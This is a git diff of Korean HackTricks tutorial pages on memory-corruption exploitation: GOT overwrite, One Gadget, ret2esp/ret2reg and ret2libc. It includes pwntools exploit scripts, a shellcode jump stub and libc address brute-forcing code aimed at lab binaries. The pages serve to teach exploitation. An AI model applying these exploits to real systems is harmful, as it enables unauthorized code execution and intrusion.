malloc을 호출하려면 프로그램이 호출할 때까지 기다리거나 **`printf("%10000$c")`를 호출**하여 `libc`가 많은 바이트를 할당하도록 만들어 힙에 할당하도록 할 수 있습니다.
|
||||
|
||||
One Gadget에 대한 자세한 정보:
|
||||
|
||||
{% content-ref url="../one-gadget.md" %}
|
||||
[one-gadget.md](../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
|
||||
- **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,13 +18,13 @@
|
|||
|
||||
### **GOT: Global Offset Table**
|
||||
|
||||
**Global Offset Table (GOT)**은 **동적으로 연결된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 런타임에서 알려지지 않기 때문에** (동적 연결 때문에), GOT는 이러한 외부 심볼의 주소가 **해결된 후에 동적으로 업데이트**될 수 있는 방법을 제공합니다.
|
||||
**Global Offset Table (GOT)**은 **동적으로 연결된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 실행 시간까지 알려지지 않기 때문에** (동적 연결 때문에), GOT는 이러한 외부 심볼의 주소가 **해결된 후에 주소를 동적으로 업데이트**하는 방법을 제공합니다.
|
||||
|
||||
GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때, 동적 링커에 의해 실제 주소가 해결되고 GOT에 저장**됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
|
||||
GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때 동적 링커에 의해 실제 주소가 해결**되고 GOT에 저장됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
|
||||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
|
||||
**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 이진 파일이 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 함수의 주소가 이미 해결되지 않았다면 동적 링커를 호출하여 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다.
|
||||
**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 주소가 이미 해결되지 않은 경우 동적 링커를 호출하여 함수의 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다.
|
||||
|
||||
**따라서,** 외부 함수 또는 변수의 주소가 해결되면 GOT 항목이 직접 사용됩니다. **PLT 항목은 동적 링커를 통해 이러한 주소의 초기 해결을 용이하게 합니다.**
|
||||
|
||||
|
@ -32,7 +32,7 @@ GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러
|
|||
|
||||
### GOT 확인
|
||||
|
||||
**`objdump -s -j .got ./exec`**로 GOT 테이블 주소를 얻습니다.
|
||||
**`objdump -s -j .got ./exec`**를 사용하여 GOT 테이블의 주소를 얻습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (619).png>)
|
||||
|
||||
|
@ -40,38 +40,49 @@ GEF에서 **실행 파일을 로드한 후** GOT에 있는 **함수를 볼 수
|
|||
|
||||
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
GEF를 사용하여 **디버깅 세션을 시작**하고 **`got`**을 실행하여 got 테이블을 볼 수 있습니다:
|
||||
GEF를 사용하여 **디버깅 세션을 시작**하고 **`got`**을 실행하여 got 테이블을 볼 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (621).png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
이진 파일에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 있습니다. 임의 쓰기의 목표는 나중에 실행될 함수의 GOT 항목을 **예를 들어 `system` 함수의 PLT 주소로 덮어쓰는 것**입니다.
|
||||
바이너리에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 포함되어 있습니다. 이 임의 쓰기의 목표는 나중에 **실행될 함수의 GOT 항목을** 덮어쓰는 것입니다. 이때 **예를 들어 `system` 함수의 PLT 주소로 덮어쓰기**합니다.
|
||||
|
||||
이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT**를 **덮어쓸 것**입니다 (`system` 함수에 전달되는 매개변수를 제어할 수 있게 됩니다).
|
||||
이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT를 덮어쓸 것**입니다 (따라서 시스템 함수로 전송되는 매개변수를 제어할 수 있게 됩니다).
|
||||
|
||||
**`system`**이 **스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그 주소를 가리키도록 GOT를 덮어쓰어야 합니다.
|
||||
**`system`**이 **스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그런 다음 GOT를 해당 주소로 지정하도록 덮어쓸 필요가 있습니다.
|
||||
|
||||
**`objdump -j .plt -d ./vuln_binary`**로 PLT 주소를 볼 수 있습니다.
|
||||
**`objdump -j .plt -d ./vuln_binary`**를 사용하여 PLT 주소를 볼 수 있습니다.
|
||||
|
||||
## **보호**
|
||||
## **One Gadget**
|
||||
|
||||
**FullRELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술에 대응하도록 설계되었습니다:
|
||||
{% content-ref url="../one-gadget.md" %}
|
||||
[one-gadget.md](../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **보호 기능**
|
||||
|
||||
**FullRELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 이후 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술에 대응하는 것을 목적으로 합니다:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
|
||||
- **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
# 원 가젯
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget)은 **system** 및 **"/bin/sh"**를 사용하는 대신 셸을 획득할 수 있게 해줍니다. **One Gadget**은 libc 라이브러리 내에서 셸을 획득할 수 있는 방법(`execve("/bin/sh")`)을 단 하나의 **주소**로 찾아냅니다.\
|
||||
그러나 일반적으로 몇 가지 제약 조건이 있으며, 가장 일반적이고 쉽게 피할 수 있는 것은 `[rsp+0x30] == NULL`과 같은 것입니다. **RSP** 내의 값을 제어할 수 있기 때문에 더 많은 NULL 값을 보내 제약을 피할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (615).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
One Gadget이 가리키는 주소에는 `libc`가 로드된 기본 주소를 **더해야**합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
One Gadget은 임의 쓰기 2 실행 기술에 **큰 도움**이 되며 ROP 체인을 **간단하게** 만들어줄 수 있습니다. 하나의 주소만 호출하면 되므로 (그리고 요구 사항을 충족하면 됩니다).
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 AWS 해킹을 전문가로 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,74 @@
|
|||
# Ret2esp / Ret2reg
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **Rest2esp**
|
||||
|
||||
**ESP (스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP (명령어 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 대체하는 것을 포함합니다. 이렇게 하면 쉘코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행될 때 ESP는 다음 주소를 가리키며, 쉘코드가 저장된 정확한 위치가 됩니다.
|
||||
|
||||
Windows 또는 Linux에서 **주소 공간 레이아웃 무작위화 (ASLR)**가 비활성화된 경우, 공유 라이브러리에서 찾은 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 활성화된 경우, 취약한 프로그램 자체에서 이러한 명령을 찾아야 할 수 있습니다 ([**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 할 수도 있음).
|
||||
|
||||
또한, 쉘코드를 **EIP 손상 이후에** 배치할 수 있기 때문에, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 쉘코드에 간섭하지 않도록 보장됩니다. 쉘코드가 함수 스택의 중간에 배치된 경우 이러한 간섭이 발생할 수 있습니다.
|
||||
|
||||
### 공간 부족
|
||||
|
||||
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우 (아마도 몇 바이트뿐이라면), 초기 `jmp` 쉘코드를 작성하세요:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
### 예시
|
||||
|
||||
스택의 앞부분에 쉘코드를 작성할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
|
||||
이 기술의 예시를 다음에서 찾을 수 있습니다. [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)와 같은 최종 악용:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||||
|
||||
payload = b'A' * 120
|
||||
payload += p64(jmp_rsp)
|
||||
payload += asm('''
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
''')
|
||||
|
||||
pause()
|
||||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
비슷하게, 우리가 함수가 셸코드가 저장된 주소를 반환한다는 것을 알고 있다면, **`call eax`** 또는 **`jmp eax`** 명령어를 활용할 수 있습니다 (**ret2eax** 기술로 알려져 있음), 우리의 셸코드를 실행하는 또 다른 방법을 제공합니다. eax와 마찬가지로, **다른 어떤 레지스터**도 흥미로운 주소를 포함하고 있을 수 있습니다 (**ret2reg**).
|
||||
|
||||
### 예시
|
||||
|
||||
여기에서 예시를 찾을 수 있습니다: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
|
||||
## 보호 기능
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 불가능하면 셸코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 이것은 도움이 되지 않습니다.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 것들은 esp나 다른 레지스터로 점프할 명령어를 찾기 어렵게 만들 수 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
|
@ -2,30 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**Ret2Libc**의 본질은 취약한 프로그램의 실행 흐름을 공격자가 제공한 셸코드를 스택에 실행하는 대신 공유 라이브러리(예: **system**, **execve**, **strcpy**) 내의 함수로 리다이렉트하는 것입니다. 공격자는 페이로드를 작성하여 스택의 반환 주소를 원하는 라이브러리 함수를 가리키도록 수정하고, 호출 규약에 따라 필요한 인수가 올바르게 설정되도록도 조치합니다.
|
||||
**Ret2Libc**의 본질은 취약한 프로그램의 실행 흐름을 공유 라이브러리(예: **system**, **execve**, **strcpy**) 내의 함수로 리다이렉트하는 것입니다. 이는 공격자가 스택에 제공된 셸코드를 실행하는 대신 페이로드를 조작하여 스택의 반환 주소를 원하는 라이브러리 함수를 가리키도록 수정하고, 호출 규약에 따라 필요한 인수를 올바르게 설정하도록 배열합니다.
|
||||
|
||||
### **예시 단계 (간소화)**
|
||||
|
||||
* 호출할 함수의 주소(예: system) 및 호출할 명령(예: /bin/sh)을 가져옵니다.
|
||||
* 호출할 함수의 주소(예: system) 및 호출할 명령(e.g. /bin/sh)을 가져옵니다.
|
||||
* 첫 번째 인수를 가리키는 ROP 체인을 생성하여 명령 문자열을 가리키고 함수로 실행 흐름을 전달합니다.
|
||||
|
||||
## 주소 찾기
|
||||
|
||||
* 현재 시스템에서 사용되는 `libc`를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:
|
||||
* 현재 시스템에서 사용하는 `libc`를 가정하면 메모리에 로드될 위치를 다음과 같이 찾을 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -33,7 +33,7 @@ ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change eve
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
ASLR가 libc 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:
|
||||
ASLR가 libc의 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
|
@ -47,7 +47,7 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
|||
```
|
||||
### gdb-peda / GEF 사용
|
||||
|
||||
사용 중인 libc를 알고 있다면 Peda 또는 GEF를 사용하여 **system** 함수, **exit** 함수 및 문자열 **`/bin/sh`**의 주소를 얻을 수도 있습니다:
|
||||
사용 중인 libc를 알고 있다면, Peda 또는 GEF를 사용하여 **system** 함수, **exit** 함수 및 문자열 **`/bin/sh`**의 주소를 얻을 수도 있습니다:
|
||||
```
|
||||
p system
|
||||
p exit
|
||||
|
@ -57,15 +57,15 @@ find "/bin/sh"
|
|||
|
||||
프로세스가 **매번 대화할 때마다 자식 프로세스를 생성**하는 경우 해당 파일을 **읽어보세요** (아마도 루트 권한이 필요할 것입니다).
|
||||
|
||||
여기서 **libc가 프로세스 내 어디에 로드되어 있는지 정확히** 찾을 수 있으며, **프로세스의 각 자식이 어디에 로드될지**도 알 수 있습니다.
|
||||
여기에서는 프로세스 내부에 **libc가 정확히 어디에 로드되어 있는지**와 **프로세스의 각 자식에 로드될 위치**를 찾을 수 있습니다.
|
||||
|
||||
![](<../../../../.gitbook/assets/image (95).png>)
|
||||
|
||||
이 경우 **0xb75dc000**에 로드됩니다 (이것이 libc의 베이스 주소가 될 것입니다)
|
||||
이 경우 **0xb75dc000**에 로드됩니다 (이것이 libc의 기본 주소가 될 것입니다)
|
||||
|
||||
## 알 수 없는 libc
|
||||
|
||||
바이너리가 로드하는 libc를 **알 수 없는** 경우도 있을 수 있습니다 (접근할 수 없는 서버에 위치할 수도 있습니다). 이 경우 취약점을 악용하여 **일부 주소를 노출하고 어떤 libc 라이브러리가 사용 중인지** 찾을 수 있습니다:
|
||||
바이너리가 로드하는 libc를 **알 수 없을 수도 있습니다** (접근할 수 없는 서버에 위치할 수도 있기 때문입니다). 이 경우 취약점을 악용하여 **일부 주소를 노출하고 어떤 libc 라이브러리가 사용 중인지** 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-address/" %}
|
||||
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
||||
|
@ -81,25 +81,21 @@ find "/bin/sh"
|
|||
|
||||
이러한 무차별 대입 공격은 **32비트 시스템에만 유용**합니다.
|
||||
|
||||
* 공격이 로컬인 경우, libc의 베이스 주소를 무차별 대입할 수 있습니다 (32비트 시스템에 유용):
|
||||
* 공격이 로컬인 경우, libc의 기본 주소를 무차별 대입할 수 있습니다 (32비트 시스템에 유용):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* 원격 서버를 공격할 때, `libc` 함수 `usleep`의 주소를 **brute-force**하여 10을 인자로 전달할 수 있습니다. 서버가 응답하는 데 10초 더 걸린다면, 이 함수의 주소를 찾은 것입니다.
|
||||
* 원격 서버를 공격하는 경우, 인자로 10을 전달하여 `libc` 함수 `usleep`의 주소를 **브루트 포스**할 수 있습니다. **서버가 응답하는 데 10초 더 걸린다면**, 이 함수의 주소를 찾은 것입니다.
|
||||
|
||||
## ONE\_GADGET
|
||||
## 원 가젯
|
||||
|
||||
[**ONE\_GADGET**](https://github.com/david942j/one\_gadget)은 **system** 및 **"/bin/sh"**를 사용하는 대신 셸을 획들할 수 있게 해줍니다. **ONE\_GADGET**은 libc 라이브러리 내에서 하나의 **ROP 주소**만 사용하여 셸을 획득할 수 있는 방법을 찾아줍니다.\
|
||||
그러나 보통 몇 가지 제약 조건이 있으며, 가장 일반적이고 쉽게 피할 수 있는 것은 `[rsp+0x30] == NULL`입니다. **RSP** 내의 값을 제어할 수 있기 때문에, 제약 조건을 피하기 위해 추가적인 NULL 값을 보내면 됩니다.
|
||||
{% content-ref url="../../one-gadget.md" %}
|
||||
[one-gadget.md](../../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
![](<../../../../.gitbook/assets/image (615).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
## x86 Ret2lib 코드 예제
|
||||
## x86 Ret2lib 코드 예시
|
||||
|
||||
이 예제에서는 ASLR 브루트포스가 코드에 통합되어 있으며 취약한 이진 파일이 원격 서버에 위치해 있습니다:
|
||||
이 예시에서 ASLR 브루트 포스가 코드에 통합되어 있으며 취약한 이진 파일이 원격 서버에 위치해 있습니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -129,22 +125,8 @@ c.interactive()
|
|||
|
||||
## Ret2printf
|
||||
|
||||
